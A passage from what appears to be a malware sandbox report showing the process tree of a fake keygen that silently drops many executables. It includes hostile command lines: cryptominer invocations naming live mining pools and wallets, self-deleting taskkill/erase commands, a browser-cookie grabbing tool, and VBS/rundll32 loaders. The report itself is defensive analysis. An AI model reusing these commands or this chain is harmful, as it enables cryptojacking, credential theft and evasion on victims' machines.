- Runs ping.exe
PID:4000
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Users\Admin\AppData\Local\Temp\4JE59ADPI2\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4JE59ADPI2\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:612 -
C:\Users\Admin\AppData\Local\Temp\4JE59ADPI2\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4JE59ADPI2\multitimer.exe" 1 3.1617436199.60681e278af5e 1016⤵PID:4420
-
C:\Users\Admin\AppData\Local\Temp\4JE59ADPI2\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4JE59ADPI2\multitimer.exe" 2 3.1617436199.60681e278af5e7⤵PID:4552
-
C:\Users\Admin\AppData\Local\Temp\nxa4r0urxde\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\nxa4r0urxde\cpyrix.exe" /VERYSILENT8⤵PID:2728
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵PID:5556
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"10⤵PID:6000
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub10⤵PID:5768
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe11⤵PID:6024
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵PID:5452
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵PID:16976
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\e0swwnms2ll\KiffApp1.exe"C:\Users\Admin\AppData\Local\Temp\e0swwnms2ll\KiffApp1.exe"8⤵PID:1152
-
-
C:\Users\Admin\AppData\Local\Temp\acxjotffzkg\3t0agtg23uq.exe"C:\Users\Admin\AppData\Local\Temp\acxjotffzkg\3t0agtg23uq.exe" /VERYSILENT8⤵PID:3720
-
C:\Users\Admin\AppData\Local\Temp\is-KMP4S.tmp\3t0agtg23uq.tmp"C:\Users\Admin\AppData\Local\Temp\is-KMP4S.tmp\3t0agtg23uq.tmp" /SL5="$502F8,2592217,780800,C:\Users\Admin\AppData\Local\Temp\acxjotffzkg\3t0agtg23uq.exe" /VERYSILENT9⤵PID:184
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhgaefyoatl\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\jhgaefyoatl\Setup3310.exe" /Verysilent /subid=5778⤵PID:4072
-
C:\Users\Admin\AppData\Local\Temp\is-EN7BQ.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-EN7BQ.tmp\Setup3310.tmp" /SL5="$502FC,138429,56832,C:\Users\Admin\AppData\Local\Temp\jhgaefyoatl\Setup3310.exe" /Verysilent /subid=5779⤵PID:4560
-
C:\Users\Admin\AppData\Local\Temp\is-KFR5K.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-KFR5K.tmp\Setup.exe" /Verysilent10⤵PID:2640
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"11⤵PID:4324
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:2412
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:4452
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"11⤵PID:5140
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"11⤵PID:5156
-
C:\Users\Admin\AppData\Local\Temp\is-JOA7P.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-JOA7P.tmp\LabPicV3.tmp" /SL5="$30352,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"12⤵PID:5316
-
C:\Users\Admin\AppData\Local\Temp\is-ONCHC.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-ONCHC.tmp\ppppppfy.exe" /S /UID=lab21413⤵PID:5788
-
C:\Users\Admin\AppData\Local\Temp\87-59431-9e0-149a2-333cc668c3e4b\Qepinykyhy.exe"C:\Users\Admin\AppData\Local\Temp\87-59431-9e0-149a2-333cc668c3e4b\Qepinykyhy.exe"14⤵PID:5272
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y11f0kb5.gfn\md6_6ydj.exe & exit15⤵PID:16160
-
C:\Users\Admin\AppData\Local\Temp\y11f0kb5.gfn\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\y11f0kb5.gfn\md6_6ydj.exe16⤵PID:16808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rkue5hl2.3fh\askinstall31.exe & exit15⤵PID:16128
-
C:\Users\Admin\AppData\Local\Temp\rkue5hl2.3fh\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\rkue5hl2.3fh\askinstall31.exe16⤵PID:17188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ty3cxjda.ymb\toolspab1.exe & exit15⤵PID:16536
-
C:\Users\Admin\AppData\Local\Temp\ty3cxjda.ymb\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ty3cxjda.ymb\toolspab1.exe16⤵PID:17276
-
C:\Users\Admin\AppData\Local\Temp\ty3cxjda.ymb\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ty3cxjda.ymb\toolspab1.exe17⤵PID:15772
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zpw5wuf5.ifs\setup_10.2_mix.exe & exit15⤵PID:14332
-
C:\Users\Admin\AppData\Local\Temp\zpw5wuf5.ifs\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\zpw5wuf5.ifs\setup_10.2_mix.exe16⤵PID:4228
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h2vfr2m1.a42\GcleanerWW.exe /mixone & exit15⤵PID:14416
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dlc2f1jx.ohz\app.exe /8-2222 & exit15⤵PID:14632
-
C:\Users\Admin\AppData\Local\Temp\dlc2f1jx.ohz\app.exeC:\Users\Admin\AppData\Local\Temp\dlc2f1jx.ohz\app.exe /8-222216⤵PID:6492
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xekw3gbt.pu1\file.exe & exit15⤵PID:14228
-
C:\Users\Admin\AppData\Local\Temp\xekw3gbt.pu1\file.exeC:\Users\Admin\AppData\Local\Temp\xekw3gbt.pu1\file.exe16⤵PID:68
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"17⤵PID:8388
-
C:\Users\Admin\AppData\Local\Temp\4A2YU86AYW\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4A2YU86AYW\multitimer.exe" 0 3060197d33d91c80.94013368 0 10118⤵PID:12864
-
C:\Users\Admin\AppData\Local\Temp\4A2YU86AYW\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4A2YU86AYW\multitimer.exe" 1 3.1617436508.60681f5cc0631 10119⤵PID:14052
-
C:\Users\Admin\AppData\Local\Temp\4A2YU86AYW\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\4A2YU86AYW\multitimer.exe" 2 3.1617436508.60681f5cc063120⤵PID:12620
-
C:\Users\Admin\AppData\Local\Temp\mt5dp3gyjl2\app.exe"C:\Users\Admin\AppData\Local\Temp\mt5dp3gyjl2\app.exe" /8-2321⤵PID:7516
-
-
C:\Users\Admin\AppData\Local\Temp\gqcz1d2kokt\yf5vn5pzzbs.exe"C:\Users\Admin\AppData\Local\Temp\gqcz1d2kokt\yf5vn5pzzbs.exe" /ustwo INSTALL21⤵PID:7588
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "yf5vn5pzzbs.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\gqcz1d2kokt\yf5vn5pzzbs.exe" & exit22⤵PID:944
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "yf5vn5pzzbs.exe" /f23⤵
- Kills process with taskkill
PID:5500
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2epqystrrgy\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\2epqystrrgy\Setup3310.exe" /Verysilent /subid=57721⤵PID:8196
-
C:\Users\Admin\AppData\Local\Temp\is-5B0UH.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-5B0UH.tmp\Setup3310.tmp" /SL5="$306D6,138429,56832,C:\Users\Admin\AppData\Local\Temp\2epqystrrgy\Setup3310.exe" /Verysilent /subid=57722⤵PID:17400
-
C:\Users\Admin\AppData\Local\Temp\is-JBOQM.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JBOQM.tmp\Setup.exe" /Verysilent23⤵PID:8532
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\brx2ocyrp0o\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\brx2ocyrp0o\cpyrix.exe" /VERYSILENT21⤵PID:8204
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe22⤵PID:13896
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"23⤵PID:8584
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub23⤵PID:7508
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe24⤵PID:7352
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe22⤵PID:13928
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"23⤵PID:17384
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"23⤵PID:5892
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bqaahkzthfx\vict.exe"C:\Users\Admin\AppData\Local\Temp\bqaahkzthfx\vict.exe" /VERYSILENT /id=53521⤵PID:8436
-
C:\Users\Admin\AppData\Local\Temp\is-EC023.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-EC023.tmp\vict.tmp" /SL5="$205DC,870426,780800,C:\Users\Admin\AppData\Local\Temp\bqaahkzthfx\vict.exe" /VERYSILENT /id=53522⤵PID:10308
-
C:\Users\Admin\AppData\Local\Temp\is-JNI7M.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-JNI7M.tmp\win1host.exe" 53523⤵PID:6200
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IIHJ2KIKWW\setups.exe"C:\Users\Admin\AppData\Local\Temp\IIHJ2KIKWW\setups.exe" ll18⤵PID:11732
-
C:\Users\Admin\AppData\Local\Temp\is-9PV60.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-9PV60.tmp\setups.tmp" /SL5="$20812,635399,250368,C:\Users\Admin\AppData\Local\Temp\IIHJ2KIKWW\setups.exe" ll19⤵PID:8132
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"17⤵PID:11676
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe18⤵PID:12608
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe19⤵
- Kills process with taskkill
PID:12128
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"17⤵PID:3164
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"18⤵PID:14324
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install19⤵PID:15344
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"17⤵PID:14812
-
C:\Users\Admin\AppData\Roaming\7E6B.tmp.exe"C:\Users\Admin\AppData\Roaming\7E6B.tmp.exe"18⤵PID:6644
-
C:\Users\Admin\AppData\Roaming\7E6B.tmp.exe"C:\Users\Admin\AppData\Roaming\7E6B.tmp.exe"19⤵PID:7232
-
-
-
C:\Users\Admin\AppData\Roaming\B888.tmp.exe"C:\Users\Admin\AppData\Roaming\B888.tmp.exe"18⤵PID:6272
-
-
C:\Users\Admin\AppData\Roaming\A02C.tmp.exe"C:\Users\Admin\AppData\Roaming\A02C.tmp.exe"18⤵PID:7396
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999919⤵PID:4720
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 999919⤵PID:7656
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"18⤵PID:9048
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.119⤵
- Runs ping.exe
PID:4388
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"17⤵PID:14712
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b1optie0.f03\Four.exe & exit15⤵PID:14972
-
C:\Users\Admin\AppData\Local\Temp\b1optie0.f03\Four.exeC:\Users\Admin\AppData\Local\Temp\b1optie0.f03\Four.exe16⤵PID:6520
-
C:\Users\Admin\AppData\Local\Temp\Q7KQ3X2GNL\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Q7KQ3X2GNL\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵PID:7276
-
C:\Users\Admin\AppData\Local\Temp\Q7KQ3X2GNL\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Q7KQ3X2GNL\multitimer.exe" 1 3.1617436491.60681f4c005d7 10418⤵PID:16556
-
C:\Users\Admin\AppData\Local\Temp\Q7KQ3X2GNL\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Q7KQ3X2GNL\multitimer.exe" 2 3.1617436491.60681f4c005d719⤵PID:11996
-
C:\Users\Admin\AppData\Local\Temp\p1fv1mm04pb\vict.exe"C:\Users\Admin\AppData\Local\Temp\p1fv1mm04pb\vict.exe" /VERYSILENT /id=53520⤵PID:15384
-
C:\Users\Admin\AppData\Local\Temp\is-82DR8.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-82DR8.tmp\vict.tmp" /SL5="$60462,870426,780800,C:\Users\Admin\AppData\Local\Temp\p1fv1mm04pb\vict.exe" /VERYSILENT /id=53521⤵PID:7692
-
C:\Users\Admin\AppData\Local\Temp\is-0EE3J.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-0EE3J.tmp\win1host.exe" 53522⤵PID:10044
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qjsq3tauotl\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\qjsq3tauotl\cpyrix.exe" /VERYSILENT20⤵PID:1900
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe21⤵PID:12396
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"22⤵PID:12528
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub22⤵PID:5564
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe23⤵PID:14480
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe21⤵PID:13180
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"22⤵PID:10440
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\00vuordpxp2\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\00vuordpxp2\Setup3310.exe" /Verysilent /subid=57720⤵PID:16264
-
C:\Users\Admin\AppData\Local\Temp\is-VFA9K.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-VFA9K.tmp\Setup3310.tmp" /SL5="$80500,138429,56832,C:\Users\Admin\AppData\Local\Temp\00vuordpxp2\Setup3310.exe" /Verysilent /subid=57721⤵PID:7728
-
C:\Users\Admin\AppData\Local\Temp\is-DOROL.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-DOROL.tmp\Setup.exe" /Verysilent22⤵PID:6132
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bvbud5dd5of\ajsa0nfvfez.exe"C:\Users\Admin\AppData\Local\Temp\bvbud5dd5of\ajsa0nfvfez.exe" /ustwo INSTALL20⤵PID:17044
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "ajsa0nfvfez.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\bvbud5dd5of\ajsa0nfvfez.exe" & exit21⤵PID:12096
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "ajsa0nfvfez.exe" /f22⤵
- Kills process with taskkill
PID:952
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bxamzy22eoz\app.exe"C:\Users\Admin\AppData\Local\Temp\bxamzy22eoz\app.exe" /8-2320⤵PID:2200
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\L1MYAVQ0D8\setups.exe"C:\Users\Admin\AppData\Local\Temp\L1MYAVQ0D8\setups.exe" ll17⤵PID:8336
-
C:\Users\Admin\AppData\Local\Temp\is-DO4S8.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-DO4S8.tmp\setups.tmp" /SL5="$207A6,635399,250368,C:\Users\Admin\AppData\Local\Temp\L1MYAVQ0D8\setups.exe" ll18⤵PID:8588
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\84-d5c9e-e8c-61985-8cdc3dae004f0\Lotedaegaeqi.exe"C:\Users\Admin\AppData\Local\Temp\84-d5c9e-e8c-61985-8cdc3dae004f0\Lotedaegaeqi.exe"14⤵PID:5724
-
-
C:\Program Files\Windows Defender Advanced Threat Protection\GTPMATRWDJ\prolab.exe"C:\Program Files\Windows Defender Advanced Threat Protection\GTPMATRWDJ\prolab.exe" /VERYSILENT14⤵PID:5296
-
C:\Users\Admin\AppData\Local\Temp\is-M22CQ.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-M22CQ.tmp\prolab.tmp" /SL5="$10420,575243,216576,C:\Program Files\Windows Defender Advanced Threat Protection\GTPMATRWDJ\prolab.exe" /VERYSILENT15⤵PID:3684
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"11⤵PID:5204
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"12⤵PID:5948
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install13⤵PID:3628
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"11⤵PID:5228
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"12⤵PID:5488
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install13⤵PID:5876
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"11⤵PID:5256
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"11⤵PID:5292
-
C:\Users\Admin\AppData\Local\Temp\O7SKLGHBV9\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\O7SKLGHBV9\multitimer.exe" 0 306065bb10421b26.04333812 0 10312⤵PID:5264
-
C:\Users\Admin\AppData\Local\Temp\O7SKLGHBV9\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\O7SKLGHBV9\multitimer.exe" 1 3.1617436243.60681e536622d 10313⤵PID:5736
-
C:\Users\Admin\AppData\Local\Temp\O7SKLGHBV9\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\O7SKLGHBV9\multitimer.exe" 2 3.1617436243.60681e536622d14⤵PID:5744
-
C:\Users\Admin\AppData\Local\Temp\zull3pxfs33\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\zull3pxfs33\Setup3310.exe" /Verysilent /subid=57715⤵PID:14704
-
C:\Users\Admin\AppData\Local\Temp\is-9F0D0.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-9F0D0.tmp\Setup3310.tmp" /SL5="$A01FC,138429,56832,C:\Users\Admin\AppData\Local\Temp\zull3pxfs33\Setup3310.exe" /Verysilent /subid=57716⤵PID:15280
-
C:\Users\Admin\AppData\Local\Temp\is-0GS31.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-0GS31.tmp\Setup.exe" /Verysilent17⤵PID:17004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\z2kbg45oibs\app.exe"C:\Users\Admin\AppData\Local\Temp\z2kbg45oibs\app.exe" /8-2315⤵PID:14688
-
C:\Users\Admin\AppData\Local\Temp\z2kbg45oibs\app.exe"C:\Users\Admin\AppData\Local\Temp\z2kbg45oibs\app.exe" /8-2316⤵PID:9912
-
-
-
C:\Users\Admin\AppData\Local\Temp\lfbmpxs2piq\vict.exe"C:\Users\Admin\AppData\Local\Temp\lfbmpxs2piq\vict.exe" /VERYSILENT /id=53515⤵PID:14900
-
C:\Users\Admin\AppData\Local\Temp\is-I2ULR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-I2ULR.tmp\vict.tmp" /SL5="$402AC,870426,780800,C:\Users\Admin\AppData\Local\Temp\lfbmpxs2piq\vict.exe" /VERYSILENT /id=53516⤵PID:15460
-
C:\Users\Admin\AppData\Local\Temp\is-ATTSH.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-ATTSH.tmp\win1host.exe" 53517⤵PID:16172
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\nsh4k3wypkf\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\nsh4k3wypkf\cpyrix.exe" /VERYSILENT15⤵PID:14936
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe16⤵PID:16316
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"17⤵PID:16748
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub17⤵PID:17200
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe18⤵PID:16360
-
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe16⤵PID:16440
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"17⤵PID:6864
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\w40wz2osb2j\pzzo2o2bnja.exe"C:\Users\Admin\AppData\Local\Temp\w40wz2osb2j\pzzo2o2bnja.exe" /ustwo INSTALL15⤵PID:15028
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "pzzo2o2bnja.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\w40wz2osb2j\pzzo2o2bnja.exe" & exit16⤵PID:16712
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "pzzo2o2bnja.exe" /f17⤵
- Kills process with taskkill
PID:15952
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sp2acmbodpn\vpn.exe"C:\Users\Admin\AppData\Local\Temp\sp2acmbodpn\vpn.exe" /silent /subid=48215⤵PID:15544
-
C:\Users\Admin\AppData\Local\Temp\is-HRQPU.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-HRQPU.tmp\vpn.tmp" /SL5="$702AE,15170975,270336,C:\Users\Admin\AppData\Local\Temp\sp2acmbodpn\vpn.exe" /silent /subid=48216⤵PID:15716
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0CJY5Q11NH\setups.exe"C:\Users\Admin\AppData\Local\Temp\0CJY5Q11NH\setups.exe" ll12⤵PID:4048
-
C:\Users\Admin\AppData\Local\Temp\is-661EJ.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-661EJ.tmp\setups.tmp" /SL5="$402C4,635399,250368,C:\Users\Admin\AppData\Local\Temp\0CJY5Q11NH\setups.exe" ll13⤵PID:5636
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\2oG1o0Zhe2Ng.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\2oG1o0Zhe2Ng.exe"11⤵PID:5352
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵PID:4684
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"11⤵PID:5188
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"11⤵PID:4824
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 94812⤵
- Program crash
PID:15060
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 92812⤵
- Program crash
PID:15240
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 108412⤵
- Program crash
PID:16048
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 111612⤵
- Program crash
PID:5132
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 118012⤵
- Program crash
PID:16060
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 124012⤵
- Program crash
PID:16404
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 151212⤵
- Program crash
PID:15864
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 154012⤵
- Program crash
PID:6292
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 176812⤵
- Program crash
PID:6808
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 174812⤵
- Program crash
PID:6956
-
-
